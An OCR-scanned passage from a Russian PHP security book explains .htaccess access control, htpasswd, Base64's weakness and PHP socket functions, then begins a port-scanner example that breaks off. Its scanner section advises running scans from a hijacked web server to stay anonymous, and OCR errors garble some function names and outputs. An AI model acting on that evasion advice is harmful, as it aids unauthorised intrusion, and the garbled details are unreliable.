соту равными нулю, иначе она бессмысленна или содержит некорректные данные. 
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Двойная проверка уже более надежна, но не является решением всех проблем безо
пасности. Например, недавно бьша найдена ошибка в функциях определения раз
мера в РНР. Да, функций несколько. Для каждого типа файла есть своя функция, но 
все они объединены в одну getimagesize (). Если сценарию передать графический 
файл ТIFF, в котором будет указан размер -8, то сценарий попадет в бесконечный 
цикл и будет выполняться, пока не поглотит все ресурсы сервера. Таким образом, 
один хакер мог без проблем произвести атаку отказа от обслуживания (DoS, Denial 
of Service ). Ошибка есть и в функции обработки JРЕG-файла. 

Я понимаю, что ошибка в функции getimagesize () - это проблема разработчиков 
РНР, а не нашего сценария, но она существовала и сейчас уже исправлена. 

5.3. Запретная зона 
Обновлять информацию на сайте через FТР-клиент с помощью закачки новых фай
лов неудобно и не всегда возможно. Например, мне приходилось встречаться с се
тями, где любой доступ в Интернет, кроме НТТР, был запрещен, а, значит, FТР
протокол не бьш доступен. Для управления сайтами намного удобнее использовать 
веб-интерфейс и специальные разделы сайта, которые часто называют админист

раторскими панелями.

Сценарии администрирования позволяют управлять содержимым веб-страниц, по
этому они должны быть закрыты от постороннего взгляда. Для этого необходима 
отдельная защита, которая позволит вам спать спокойно и не даст хакеру выпол
нить привилегированные операции. А для защиты нам нужны эффективные средст
ва аутентификации на сервере. 

5. 3 .1 . А утентисрикация

Если какой-либо каталог веб-сервера должен иметь особые права доступа, то мож
но создать в этом каталоге файл .htaccess. В этом файле описываются разрешения, 
которые действуют на каталог, в котором находится этот файл. При обращении 
к любому файлу из этого каталога веб-сервер будет требовать, чтобы посетитель 
прошел процедуру аутентификации. Да, требовать это будет именно веб-сервер, 
и в сценарии ничего писать не надо. Таким образом, вы получаете в свое распо
ряжение эффективный и отлаженный годами метод обеспечения безопасности 
конфиденциальных данных. 

Рассмотрим пример содержимого файла .htaccess:

AuthType Basic 
AuthName."By Invitation Only" 
AuthUserFile /puЬ/home/flenov/passwd 
Require valid-user 

В первой строке мы задаем тип аутентификации с помощью директивы AuthType. 
В этом примере используется базовая аутентификация - вasic, при которой веб-
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сервер при обращении к каталогу отобразит окно для ввода имени и пароля. Текст, 

указанный в директиве AuthName, появится в заголовке окна. На рис. 5.2 приведен 

пример такого окна. 

Г В.ememЬer my password

ОК Cancel 

Рис. 5.2. Окно запроса имени и пароля 

3 

Директива AuthUserFile задает файл, в котором находится база имен и паролей по
сетителей сайта. О том, как создавать такой файл и работать с ним, мы поговорим 

позже. Последняя директива Require в качестве параметра использует значение 

valid-user. Это значит, что файлы в текущем каталоге смогут открыть только те 
посетители, которые проiпли аутентификацию. 

Вот таким простым способом можно запретить неавторизованный доступ к катало
гу, содержащему секретные данные или сценарии администратора. 

В файле .htaccess могут находиться и директивы типа allow from. Сначала посмот
рим на пример, а потом увидим, как его использовать: 

order allow,deny 
allow from all 

Первое объявление задает права доступа к определенному каталогу на диске (в на
шем случае это каталог, в котором находится .htaccess), а второе ограничивает или 
предоставляет доступ к этому·каталогу. 

Теперь рассмотрим, как задаются права доступа. Для этого используются следую

щие директивы: 

□ allow from ·параметр - определяет, с каких хостов можно получить доступ
к указанному каталогу. В качестве параметра можно использовать одно из сле
дующих значений:

• all - доступ к каталогу разрешен всем;

• доменное имя - определяет домен, с которого можно получить доступ к ката

логу. Например, можно указать domain. com. В этом случае только пользовате-
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ли указанного домена смогут получить доступ к каталогу через Сеть. Если 
какой-либо каталог содержит опасные файлы, с которыми должны работать 
только вы, то лучше ограничить доступ своим доменом или только локальной 
машиной, указав allow from localhost; 

• IР-адрес- сужает доступ к каталогу до определенного IР-адреса. Это очень
удобно, когда у вашего компьютера есть выделенный адрес и вы хотите
обеспечить доступ к каталогу, содержащему администраторские сценарии,
только для себя. Адрес может быть как полным, так и неполным, что позво
ляет ограничить доступ к каталогу определенной сетью;

• еnv=ИмяПеременной- доступ разрешен, если определена указанная перемен

ная окружения. Полный формат директивы: allow from еnv=ИмяПеременной;

□ deny from параметр- запрещение доступа к указанному каталогу. Параметры
такие же, как у команды allow from, только в этом случае закрывается доступ
для указанных адресов, доменов и т. д.;

□ order параметр- очередность, в которой применяются директивы allow и deny.
Могут быть три варианта:

• order deny, allow - изначально все разрешено, потом применяются запреты,
а затем разрешения. Рекомендуется использовать только для общих катало
гов, в которые посетители могут самостоятельно закачивать файлы - на
пример, свои изображения;

• order allow, deny- сначала все запрещено, вслед за этим применяются раз
решения, затем запрещения. Рекомендуется применять для всех каталогов со
сценариями;

• order mutual-failure - изначально запрещен доступ всем, кроме ·заданных
в allow и в то же время отсутствующих в deny. Советую указывать этот вари
ант для всех каталогов, где находятся файлы, используемые определенным
кругом лиц, - например, администраторские сценарии;

□ Require параметр- позволяет задать посетителей, которым разрешен доступ
к каталогу. В качестве параметра можно указывать:

• user - имена посетителей (или их 1D), которым разрешен доступ к каталогу.
Например: Require user robert Flenovм;

• group- названия групп, членам которых разрешен доступ к каталогу. Дирек
тива работает так же, как и user;

• valid-user - доступ к каталогу разрешен любому аутентифицированному
посетителю;

□ satisfy параметр- если указать значение any, то для ограничения доступа ис
пользуется или логин/пароль, или IР-адрес. Для идентификации посетителя по
двум условиям одновременно надо задать all;

□ AllowOverwri te параметр - определяет, какие директивы из файла .htaccess

в указанном каталоге могут перекрывать конфигурацию веб-сервера (конфигу-
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рацию из файла httpd.conf для сервера Apache ). В качестве параметра можно ука
. зать одно из следующих значений: None, All, AuthConfig, Fileinfo, Indexes, Limit 
И Options; 

□ Options [ + 1 - J параметр -определяет возможности веб-сервера, которые дос-
тупны в том или ином каталоге. Если у вас есть каталог, в который посетителям
разрешено закачивать картинки, то вполне логичным является запрет на выпол
нение в нем любых сценариев. Не надо надеяться, что вы сумеете программно
запретить загрузку любых файлов, кроме изображений. Хакер может найти спо
соб закачать вредоносный код и выполнить его в системе. С помощью опций
можно сделать так, чтобы сценарий не выполнился веб-сервером.

Итак, после ключевого слова можно ставить знаки «плюс» или «минус», что со
ответствует разрешению или запрещению опции. В качестве параметра указыва
ется одно из следующих значений:

• All -все, кроме MultiView. Если указать строку Option + All, то в указан
ном каталоге будут разрешены любые действия, кроме MultiView, который
задается отдельно;

• ExecCGI -разрешено выполнение СGI-сценариев, выполняемых на сервере;

• FollowSymLinks - позволяет использовать символьные ссьmки. Убедитесь,
что в каталоге нет опасных ссьmок и их права не избыточны;

• SymLinksifOwnerMatch - следовать по символьным ссылкам, только если вла
дельцы целевого файла и ссылки совпадают. При использовании символьных
ссьmок в указанном каталоге лучше задать этот параметр вместо FollowSymLinks.
Если хакер сможет создать ссылку на каталог /etc и проследует по ней из веб
браузера, то возникнут серьезные проблемы с безопасностью;

• Includes - использовать SSI (Server Side Include, подключение файлов на
сервере);

• IncludesNOEXEC - использовать SSI, кроме ехес и include. Если вы не исполь
зуете в сценариях CGI эти команды, то такая опция является предпочтитель
нее предыдущей;

• Indexes - отобразить список содержимого каталога, если отсутствует файл
по умолчанию. Чаще всего посетители набирают адреса в укороченном фор
мате - например, www.cydsoft.com. Здесь не указан файл, который нужно
загрузить. Полный URL выглядит так: www.cydsoft.com/index.htm. В первом
варианте сервер сам ищет файл по умолчанию и открывает его. Это могут
быть index.htm, index.html, index.asp или index.php, default.htm и т. д. Если ни один
из таких файлов по указанному пути не найден, то при включенной опции
Indexes будет выведен список содержимого каталога, иначе - страница
ошибки. Я рекомендую отключать эту опцию, потому что злоумышленник
может получить слишком много информации о структуре каталога и его со
держимом.

Права доступа могут определяться не только на каталоги, но и на отдельные файлы. 
Это описание располагается между двумя следующими строками: 
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<Files ИмяФайла>

</Files> 

Например: 

<Files "/var/www/html/adrnin.php"> 
Deny from all 

</Files> 

Глава 5 

Директивы для файла такие же, как и для каталогов. То есть в приведенном приме
ре к подкаталогу /var/www/html разрешен доступ всем посетителям, а к файлу 
/var/www/html/admin.php из этого каталога запрещен доступ абсолютно всем. 

Помимо файлов и каталогов можно ограничивать и методы НТТР-протокола - та
кие как GET, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, РАТСН, PROPFIND, PROPPATCH, 
мксоL, СОРУ, моVЕ, LOCK, UNLocк. Где тут собака зарыта? Допустим, что у вас есть сце
нарий, которому посетитель должен передать параметры. Это делается одним из 
методов юsт или GET. Если вы заведомо знаете, что программист использует только 
метод GET, то запретите все остальные, чтобы хакер не смог воспользоваться потен
циальной уязвимостью в сценарии, изменив метод. 

Ко'гда я работал над сайтами компании Sony, то там с помощью сетевого экрана 
был запрещен доступ к любым методам, кроме юsт и GET. 

Бывают варианты, когда не всем посетителям должно быть позволено отправлять 
данные на сервер. Например, сценарии в определенном каталоге могут быть дос
тупны для исполнения всем, но загружать информацию на сервер могут только 
администраторы. Эта проблема легко решается с помощью разграничения прав 
использования методов протокола НТТР. 

Права на использование методов описываются следующим образом: 

<limit ИмяМетода>

Права 

</limit> 

Как видите, этот процесс схож с описанием разрешений на файлы. Так можно за
претить любую передачу данных на сервер: 

<Limit GET POST> 
Deny from all 

</Limit> 

В этом примере запрещаются методы GET и POST. 

Ваша задача - указать такие параметры доступа к каталогам и файлам, при кото
рых они будут минимально достаточными. У посетителя не должно быть возмож
ности сделать хотя бы один лишний шаг. Для реализации этого вы должны дейст
вовать по правилу «что не разрешено, то запрещено». 

Я всегда сначала закрываю все, что только можно, и лишь потом постепенно смяг
чаю права, чтобы все сценарии начали работать верно. Лучше лишний раз пропи-
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сать явный запрет, чем потом упустить разрешение, которое позволит хакеру унич
тожить мой сервер. 

Если нужно разрешить доступ только с определенного IР-адреса, то в файле может 
содержаться строка вида: 

allow from 101.12.41.148 

Если защиту директивой allow from объединить с требованием ввести пароль, то 
задача хакера по взлому сервера сильно усложнится. Здесь уже недостаточно 
знания пароля - необходимо иметь конкретный IР-адрес для обращения к содер
жимому каталога, а это требует значительных усилий. 

Эти же параметры можно указывать и в файле httpd.conf, например: 

<directory /путь>

AuthType Basic 
AuthName "Ву Invitation Only" 
AuthUserFile /puЬ/home/flenov/passwd 
Require valid-user 

</directory> 

Чем будете пользоваться вы, зависит от личных предпочтений и доступных воз
можностей. Если у вас невыделенный сервер в Интернете, то конфигурационный 
файл веб-сервера httpd.conf, скорее всего, не будет вам доступен. 

В любом случае мне больше нравится работать с файлом .htaccess, потому что на
стройки безопасности будут храниться в том же каталоге, на который устанавли
ваются права. Но работа с ним небезопасна, потому что при наличии уязвимости 
хакер может прочитать этот файл, чего вы, конечно, не хотите. И все-таки через 
браузер обратиться к этому файлу нельзя, потому что его имя начинается с точки, а 
по умолчанию доступ к таким файлам через веб-сервер запрещен. 

Использование централизованного файла httpd.conf дает свои преимущества, т. к. он 
находится в каталоге /etc, который не входит в корень веб-сервера и должен быть 
запрещен для просмотра посетителями. 

Теперь нам предстоит узнать, как создаются файлы паролей и как ими управлять. 
Директива AuthUserFile указывает на файл, хранящий информацию о посетителях 
в простом текстовом формате. Там содержатся строки следующего вида: 

flenov:{SНA}lZZEBtPy4/gdНsyztjUEWb0d90E= 

В этой записи мы видим два параметра, разделенные двоеточием. Сначала указано 
имя посетителя, а после разделителя стоит зашифрованный по алгоритму MD5 па
роль. Формировать такой файл вручную сложно (особенно сложно будет написать
зашифрованный пароль вручную) и бессмысленно, поэтому для облегчения жизни 
администраторов существует утилита htpasswd из пакета веб-сервера A.pache. С ее 
помощью создаются и обновляются имена и пароли для базовой аутентификации 
веб-сервером НТТР-посетителей. 

Удобство этой утилиты состоит в том, что она может шифровать пароли и по алго
ритму МD5, и с помощью системной функции crypt (). В одном файле могут нахо
диться записи с обоими типами паролей. 
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Если вы храните имена и пароли в формате базы данных DBM (для ее указания 
в файле .htaccess используется директива AuthDBМUserFile), то для управления ею 
нужно применять команду dЬmmanage. 

Давайте обсудим, как пользоваться утилитой htpasswd. Общий вид вызова команды 
выглядит следующим образом: 

htpasswd ключи имя_файла пароль

Параметры пароль и имя _файла являются необязательными, и их наличие зависит от 
указанных ключей. Рассмотрим основные ключи, которые нам доступны: 

□ -с - создать новый файл. Если указанный файл уже существует, то он переза
писывается, а старое содержимое теряется. Пример использования команды:

htpasswd -с .htaccess robert

После выполнения этой директивы перед вами появится приглашение ввести

пароль для нового посетителя robert и подтвердить его. В результате будет соз
дан файл .htaccess, в котором будет содержаться одна запись для посетителя
robert с указанным вами паролем;

□ -m - использовать модифицированный Apache алгоритм MD5 для паролей. Это
позволит переносить созданный файл на любую другую платформу (Windows,
UNIX, BeOS и т. д.), где работает веб-сервер Apache. Такой ключ удобен, если
у вас разнородная сеть, и один файл с паролями используется на разных серве
рах;

□ -d - для шифрования применить системную функцию crypt () ;

□ -s - применить SНА-шифрование (на базе алгоритма кеширования), которое
используется на платформе Netscape;

□ -р - не шифровать пароли. Я не рекомендую устанавливать этот ключ, потому
что он небезопасен;

□ -n - не вносить никаких изменений, а только вывести результат на экран.

Для добавления нового посетителя можно выполнить команду без указания клю
чей, а передать в качестве параметров только имена файла и посетителя: 

htpasswd .htaccess Flenov 

У команды htpasswd есть два ограничения: в имени посетителя не должно быть 
символа двоеточия, и пароль не может превышать 255 символов. Оба условия дос
таточно демократичны, и с ними можно смириться. Никто из моих знакомых пока 
еще не захотел устанавливать такой длинный пароль, а задействовать двоеточие 
в имени пользователя редко кому приходит на ум. 

Аутентификация веб-сервера - слишком простой способ обеспечения безопасно
сти. При передаче пароли шифруются простым кодированием Base64. Если хакер 
сможет перехватить пакет, содержащий имя посетителя и пароль, то он прочитает 
эту информацию за пять секунд. Для расшифровки Base64 не нужно подбирать 
пароль, достаточно применить одну функцию, которая выполняет декодирование 
практически моментально. 
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Для создания реально безопасного соединения необходимо сначала зашифровать 

весь трафик. Для этого может применяться туннелирование трафика (трафик пере

дается через канал, шифрующий данные) или уже готовый протокол HTTPS, кото
рый использует протокол SSL, но требует установки дополнительных сертифи

катов. 

Еще одним недостатком базового метода аутентификации является сложность под

держки базы посетителей. Я использую базовую аутентификацию для всех катало

гов с администраторскими сценариями своих сайтов. На этих сайтах я, разумеется, 

единственный администратор. А если вы пишете форум, где нужно предоставлять 

доступ тысячам посетителей? В этом случае такая защита будет сверхнеудобной 

и абсолютно неэффективной. 

5. 3. 2. Защита сценариев

правами доступа сервера Apache

Права веб-сервера нужны не только для проверки возможности доступа, но и для 

защиты сценариев и каких-либо файлов. Если у вас есть каталог, где находятся 

шаблоны или файлы сценариев, которые только подключаются, но не должны вы

зываться посетителем напрямую, то доступ к таким каталогам следует запретить. 

Для этого создаем файл .htaccess со следующим содержимым: 

Order Deny,Allow 

Deny from all 

Allow from 127.0.0.1 

В этом примере мы запрещаем любой доступ к файлу через браузер, кроме локаль

ного компьютера. Таким образом, хакер не сможет обратиться напрямую к файлам 
каталога - доступ открыт только сценариям веб-сервера, которые находятся на 

самом сервере. 

Чтобы упростить управление сервером, создайте такую структуру сервера, где 

в основном каталоге будут только те файлы и сценарии, которые должны быть дос

тупны посетителю через URL. Остальные файлы я предпочитаю сгруппировать по 

типам (шаблоны - в один каталог, настройки - в другой, подключаемые сцена
рии - в третий и т. д.) и убрать в отдельные каталоги, где удаленный доступ за

прещен с помощью файла .htaccess.

Файлы сценариев, которые не должны быть доступны посетителям, можно убрать 

даже за пределы каталога, доступного веб-серверу. Так поступили, например, раз

работчики популярного движка для РНР- Symfony. Когда вы создаете проект 

в Symfony, то в рабочий каталог будут скопированы все необходимые для запуска 
приложения файлы, и они будут хорошо структурированы. В каталог web вы може

те помещать все, что должно быть доступно для веб-сервиса. Именно этот каталог 

должен быть корневым для сервера. Все, что окажется за его пределами, будет 
закрыто для прямого доступа из строки URL. А за пределами этого каталога нахо

дятся все исходные коды сайта. 
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Очень часто на сайтах есть лента новостей, сценарий для отправки сообщений ад
министратору и иные программы, которые только подключаются к другим страни
цам. Сценарий ленты новостей часто включен в главную страницу, например, с по
мощью include. Вполне логично убрать все файлы, относящиеся к ленте, в отдель
ный защищенный каталог. Так вам будет удобнее и спокойнее управлять сайтом, 
потому что вероятность взлома через защищенные сценарии резко уменьшится. 

Аутентификация с помощью веб-сервера называется базовой. В этом методе при 
передаче имени и пароля используется кодирование Base64. Обратите внимание на 
слово «кодирование». Это не шифрование, и хотя текст становится нечитаемым, 
его легко восстановить в читаемый. Следующий пример РНР-сценария кодирует и 
декодирует текст: 

<?php 
$str="This is test"; 
рrint("<р>Кодируемая строка: $str </р>"); 
$encoded=base64_encode($str); 
рrint("<р>Закодированный текст: $encoded </р>"); 
$decoded=base64_decode($encoded); 
рrint("<р>Декодированный текст: $decoded </р>"); 

?> 

Если вы выполните этот сценарий, то в результате на веб-странице увидите при
мерно следующее: 

Кодируемая строка: This is а test 
Закодированный текст: VGhpcyBpCyfOZXNO 
Декодированный текст: This is а test 

Представленный пример наглядно демонстрирует, что декодировать текст слишком 
просто, и на это не нужно слишком много времени и усилий. Недостаток кодирова
ния состоит в том, что алгоритм слишком прост и обходится без ключа, который 
может повлиять на результат и добавить дополнительную безопасность. 

5. 4. Работа с сетью

Мы рассматриваем язык РНР с точки зрения хакера, а это не только безопасность 
ил·и оптимизация, но и сетевое программирование. Любой хакер или взломщик 
просто обязан отлично знать сеть и программирование сетевых приложений. 

Судя по вопросам, которые я получаю на свой почтовый ящик, именно сеть вызы
вает максимальный интерес у читателей. 

Я стараюсь описывать работу с сетью максимально просто. Однако все же вам не
обходимо понимать, как ус1роена сеть, что представляют собой протоколы ТСР и 
UDP и каковы различия между ними, что такое дейтаграмма и т. д. При изучении 
теории и выполнении практических заданий в Сети мы рассмотрим как интернет
протоколы, так и сокеты, используемые для соединения между процессами. 
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Все мы привыкли работать с символьными адресами компьютеров в Интернете, но 
вот только Интернет не может с ними работать без специальной службы DNS 
(Domain Name System, служба имен доменов). Для адресации компьютеров в Сети 
используются числовые IР-адреса, а символьные слова - это всего лишь псевдо
нимы. Когда вы запрашиваете соединение с сервером по символьному имени, то 
сначала это имя превращается в IР-адрес с помощью службы DNS, и только потом 
происходит соединение с полученным IP. 

Итак, для определения IР-адреса используются функции gethostbyname () и 
gethostbynamel () . Обеим функциям нужно передать имя компьютера, IР-адрес ко
торого вы хотите узнать. В качестве результата функция gethostbyname () возвраща
ет первый найденный IР-адрес, а gethostbynamel () - список всех найденных адре
сов. Дело в том, что за одним именем может быть закреплено несколько IР-адресов. 
Если вам нужно просто создать соединение, то можно воспользоваться функцией 
gethostbyname () - этого вполне достаточно. 

Рассмотрим пример определения IР-адреса по доменному имени: 

<?php 

$host_ip = gethostbyname("www.yahoo.com"); 

print("Y Yahoo IР-адрес: $host_ip"); 

?> 

Иногда бывает необходимо выполнить обратную операцию - преобразовать 
IР-адрес в доменное имя. Для этого используется функция gethostbyaddr () . Ей 
нужно передать IР-адрес, а в результате мы получим доменное имя: 

$name=gethostbyaddr("l27.0.0.l"); 

print ( "Your cornputer name: $name") ; 

У каждого символьного имени обязательно должен быть IР-адрес, иначе сетевое 
соединение будет недосrупно. Но при этом не у каждого IР-адреса есть имя, или, 
возможно, просто не существует соответствующая DNS-запись. В этом случае 
функция gethostbyaddr () возвращает не имя, а IР-адрес, который вы указали в па
раметре. 

Адрес 127.0.0.1 соответствует локальной машине, и для этого адреса функция чаще 
всего возвращает имя localhost. 

5.4.2. Тlротокоnы 

Для дальнейшего рассмотрения темы необходимо понимать, что такое порт. До
пустим, что на вашем компьютере запущены две службы: Web и FTP. Компьютер 
получает пакет данных, но в нем не написано, какой службе нужно подключиться. 
Как же тогда определить, кто должен обработать этот пакет данных? Вот как раз 
для этого и используются номера портов, которые есть у протоколов ТСР (и его 
производных: FTP, НТТР, РОРЗ, SMTP и др.) и UDP. 
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Каждая служба запускается на определенном порту. У большинства распростра
ненных протоколов номера портов заранее определены, но могут быть назначены и 
произвольно. Например, FTP работает на порту 21, а веб-служба- на порту 80. 
Каждый ТСР- или UDР-пакет идентифицируется IР-адресом компьютера, которому 
он должен быть доставлен, и номером порта, по которому определяется сервис
получатель пакета. 

Для удобства основным портам назначены имена. Нет, они определяются не дина
мически, а просто прописаны в конфигурационном файле (для ОС Linux это файл 
/etc/protocols), поэтому доверять именам не стоит, т. к. они могут быть изменены, да 
и порт, обычно закрепленный за FTP, может быть использован совершенно другой 
службой. 

Для определения порта по его имени применяется функция getservbyname (), кото
рой передается имя порта и имя протокола (tcp или udp), а в результате мы полу
чаем номер порта. Обратная операция выполняется с помощью функции 

getservbyport (), которой передается номер порта и имя протокола. Зачем нужен 
протокол? Дело в том, что порты протоколов ТСР и UDP разные. Порт 21 протоко
лаТСР - не то же самое, что у UDP. 

Что такое протоколы ТСР и UDP? ТСР - основной протокол Интернета, который 
используется в настоящее время практически на каждом шагу. Принцип его работы 
заключается в том, что программа-сервер запускает прослушивание на определен
ном порту в ожидании соединения со стороны клиента. Клиент устанавливает со
единение с сервером, и после этого может происходить обмен данными. По окон
чании обмена данными соединение закрывается. При передаче данных протокол 
гарантирует, что данные будут переданы верно, и ни один пакет не будет потерян 
благодаря системе подтверждения получения данных. 

Протокол UDP отличается тем, что не устанавливает соединения. Сервер создает 
сокет и прослушивание на определенном порту, а клиент при передаче данных, не 
устанавливая соединение, просто отправляет данные на сервер. Протокол не гаран
тирует целостности данных и их доставки. _Если сервер недоступен или пакет дан
ных просто затерялся в сети, данные будут утеряны. 

5.4.З. Сокеты 

Для создания сетевых программ ( создание соединения и приема/передачи данных) 
стандартом де-факто стали сокеты, которые поддерживаются большинством ОС, 
такими как Windows и UNIX. Мы будем рассматривать функции и параллельно 
знакомиться с тем, как работают сокеты. 

Если вы работали с сетями на каком-либо языке программирования, то функции 
РНР будут вам знакомы, особенно их параметры и принцип работы. Если же у вас 
нет опыта программирования сети, то некоторые вопросы покажутся вам сложны
ми. Однако, поверьте мне, каждая функция необходима, и от них никуда не деться. 

Сетевые функции возвращают в качестве результата целое число. Если оно меньше 
нуля, значит, во время выполнения функции произошла ошибка. Текстовое описа-
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ние ошибки можно узнать с помощью функции socket _ strerror () . Чаще всего 
ошибки происходят, когда сеть недоступна или порт уже занят (эта ошибка возни
кает при работе с функцией socket _ Ьind () ). Две программы не могут открыть один 
и тот же порт. 

Инициализация 

Самое первое, что необходимо сделать, - создать сокет, через который будет про
изводиться вся последующая работа. Для этого используется функция socket 
create (), которая в общем виде выглядит так: 

int socket_create(int dornain, int type, int protocol) 

У этой функции три параметра: 

□ первый параметр может принимать одно из двух значений:

• AF _ INET - указывает на необходимость использования протокола семейства
Интернета. К таким протоколам относятся ТСР, UDP, FTP, НТТР, РОРЗ
и т. д.;

• AF _ UNIX - используется для взаимодействия между процессами;

□ второй параметр может принимать одно из следующих значений:

• sоск _ STREAМ -предписывает использовать потоки, т. е. протокол ТСР;

• socк_DGRAМ- определяет использование протокола UDP, который не требует
установки соединения;

• sоск _ SEQPACКET - гарантирует последовательную доставку пакетов. Такая
передача данных может быть полезна при передаче звука или видео;

• socк_RAW -устанавливает сетевой уровень взаимодействия (протокол IP);

□ в последнем параметре разработчики РНР задумывали указывать протокол, но
можно задать число О, потому что тип протокола мы и так передаем во втором
параметре.

В качестве результата функция socket _ create () возвращает число, которое и ука
зывает на созданный сокет. 

Серверные q:)ункции 

Рассмотрим поочередно серверные и клиентские функции. Для сервера после соз
дания сокета необходимо связать этот сокет с локальным адресом с помощью 
функции socket_Ьind(): 

int. socket_Ьind(int socket, string address [, int port]) 

У этой функции три параметра: 

□ созданный с помощью функции socket _ crea te () сокет;

□ локальный IР-адрес;

□ порт, на котором сервер будет ожидать сетевые пакеты.
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Следующая функция: socket _ listen () - позволяет запустить прослушивание пор
та, во время которого программа будет ожидать подключения на порт со стороны 
клиента: 

int socket_listen(int socket, int backlog) 

Здесь у нас два параметра: созданный сокет и максимальное количество подключе
ний, которые могут находиться в очереди. 

Прослушивание началось, и теперь мы готовы принимать подключения клиентов. 
Вызываем функцию socket _ accept () . В этот момент выполнение сценария блоки
руется до тех пор, пока не будет получено новое соединение. Как только к порту, 
открытому вашей программой, произошло подключение, функция создает новый 
сокет и возвращает его дескриптор. Этот сокет никак не связан с тем, который вы 
создавали при инициализации, а предназначен для обмена данными с клиентом. 

Клиентские срункции 
У клиента все намного проще - достаточно только создать сокет с функцией 

socket _ create () и уже можно подключаться к серверу, вызывая функцию socket _ 
connect (): 

int socket_connect(int socket, string address [,int port]) 

У этой функции три параметра: 

□ сокет, созданный с помощью функции socket _ create ();

□ IР-адрес компьютера, с которым необходимо соединиться;

□ порт, на котором удаленный сервер запустил прослушивание.

На первый взгляд, работа с сетью сложна, потому что требуется выполнить не
сколько шагов: 

1. Создать сокет.

2. Если у нас символьный адрес, то его необходимо перевести в IP.

3. Соединиться с сервером.

При этом на каждом этапе нужно проверять результат на ошибку, и если она есть, 
то корректно обрабатывать нештатную ситуацию. Я стараюсь давать максимально 
подробное описание, потому что если представлять, как все работает, то проще по
нимать и методы. 

Чтобы упростить жизнь программистам и сделать код более наглядным, в РНР бы
ли внедрены две функции: fsockopen () и psockopen (). Они выполняют все три шага, 
описанные ранее, и при этом корректно обрабатывают возможные ошибки. Функ
ции выглядят схожим образом и имеют одинаковые параметры: 

int fsockopen(string host, int port, 
[int errno, string errstr, douЬle timeout]) 
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Здесь у нас аж пять параметров, первые два из которых являются обязательными: 

□ IР-адрес компьютера, с которым необходимо соединиться;

□ порт, на котором удаленный сервер запустил прослушивание;

□ переменная, в которую будет записан код ошибки. В случае корректной работы
функции в этом параметре мы увидим О;

□ строка, которая содержит текстовое описание возникшей ошибки;

□ время ожидания в секундах, в течение которого нужно ожидать соединения.
Если время вышло, то считается, что соединение недоступно, и работа функции
будет прервана.

Чем отличаются функции fsockopen () и psockopen ()? Обе они содержат одинаковое 
количество параметров, но первая устанавливает соединение только на время рабо
ты сценария, а после выполнения psockopen ( ) соединение будет сохранено даже 
после завершения работы сценария. Используйте функцию fsockopen (), когда нуж
но создать кратковременное соединение, которое можно сразу после выполнения 
сценария закрыть. Если требуется долговременное соединение, в течение которого 
посетитель должен иметь возможность ввода и просмотра информации, то больше 
подходит psockopen () . 

Посмотрите на пример использования функции psockopen () для соединения с пор
том 80: 

$s=psockopen("servername.corn", 80); 

По умолчанию функция выбирает протокол ТСР. Если вам необходим UDP, то 
в начало адреса следует добавить имя протокола udp: / /, например: 

$s=psockopen("udp://servername.corn", 80); 

Функция возвращает нам идентификатор сокета, с которым можно работать для 
передачи и получения данных от сервера. 

Обмен данными 

Мы подошли к тому, ради чего рассматривалось так много функций, - обмен дан
ными с удаленным компьютером. Для этого мы и создавали соединение. Чтобы 
передать данные на удаленный компьютер, необходимо выполнить функцию 
socket _ wri te (): 

int socket_write(int socket, string &buffer, int length) 

Здесь три параметра: 

□ открытый сокет с установленным соединением, на который нужно передать
данные;

□ буфер данных, которые мы отправляем;

□ размер передаваемых данных.

В качестве результата функция возвращает количество реально переданных байтов.
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Для получения данных от удаленного компьютера используется функция socket 
read(): 

string socket_read(int socket, int length [, int type]) 

У этой функции также три параметра: 

□ открытый сокет с установленным соединением, с которого нужно читать дан
ные;

□ количество байтов, которые мы должны принять;

□ последний параметр может принимать одно из следующих значений:

• PHP_BINARY_READ- бинарное чтение данных, которое будет продолжаться,
пока функция не получит все данные или указанное количество байтов;

• РНР _NORМAL _ READ - символьное чтение данных, которое будет продолжаться,
пока функция не получит указанное количество данных или не встретится
один из символов: \n (конец строки) или \r (возврат каретки).

В качестве результата мы получаем строку данных. 

Хотя последний параметр не является обязательным, рекомендуют всегда указы
вать его явно, т. к. в разных версиях РНР значение по умолчанию для этого пара
метра может поменяться. Я уверен, что не поменяется, но все же следую этой реко
мендации и сам. 

Управление сокетами 

У РНР есть две функции, с помощью которых вы можете управлять сокетами. Пер
вая функция: socket _ set _ timeout () - позволяет задать максимальное время ожи
дания выполнения операции: 

boolean socket_set_timeout(int socket, int sec, int mic) 

Рассмотрим параметры этой функции: 

□ сокет, параметры которого нужно изменить;

□ количество секунд;

□ количество микросекунд.

Если в течение указанного времени не происходит никаких операций переда
чи/получения данных, сокет закрывается. 

Вторая функция: socket _ set _ Ыocking () - позволяет изменить режим работы соке
та. По умолчанию он работает в блокирующем режиме, при котором сценарий 
«замораживается» при выполнении функции socket _ accept () . Если перевести сокет 
в неблокирующий режим, то в случае отсутствия соединений функция socket _ 
accept () вернет ошибку. Вы можете продолжить выполнение сценария и через 
какое-то время повторить попытку принятия соединения со стороны клиента. 

Функции чтения также блокируются, пока компьютер не примет все необходимые 
данные. В неблокирующем режиме и при отсутствии данных функция socket _ read () 
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возвращает ошибку, и сценарий может продолжать выполнение, а попытку чтения 
можно повторить позже. 

В общем виде функция socket_set_Ыocking() выглядит следующим образом: 

int socket_set_Ыocking(int socket, int mode) 

Первый параметр - сокет, режим которого нужно изменить. Если второй параметр 

равен true, то сокет будет блокирующим, иначе - неблокирующим. 

5. 5. Сканер портов
Какой бы пример нам рассмотреть, чтобы он соответствовал тематике книги и при 
этом демонстрировал на практике соединение с удаленным компьютером? Недолго 
думая, я выбрал сканер портов, который позволяет узнать, какие порты открыты на 
сервере, а значит, какие службы на нем работают. Но сканирование со своего ком
пьютера слишком опасно, т. к. администратор легко может вычислить, откуда про
изошло сканирование. Поэтому хорошо бьmо бы иметь сценарий РНР, который 
можно закинуть на какой-нибудь сервер в Интернете и использовать для сканиро
вания. 

Что представляет собой сканер портов? Чтобы узнать, открыт порт или нет, необ
ходимо попытаться к нему подключиться. Если подключение произошло удачно, 
то на удаленном сервере какая-либо служба открьmа этот порт в ожидании под
ключений. Если подключение неудачно, то порт закрыт. 

Чтобы остаться невидимым, чаще всего взломщик захватывает какой-либо веб
сервер в Интернете, устанавливает на него свой сценарий и производит сканирова
ние с этого сервера, оставаясь при этом анонимным. Давайте посмотрим пример 
сценария, который сканирует первые 1024 порта: 

<?php 

for ($i=l; $i<=1024; $i++) 

{ 

?> 

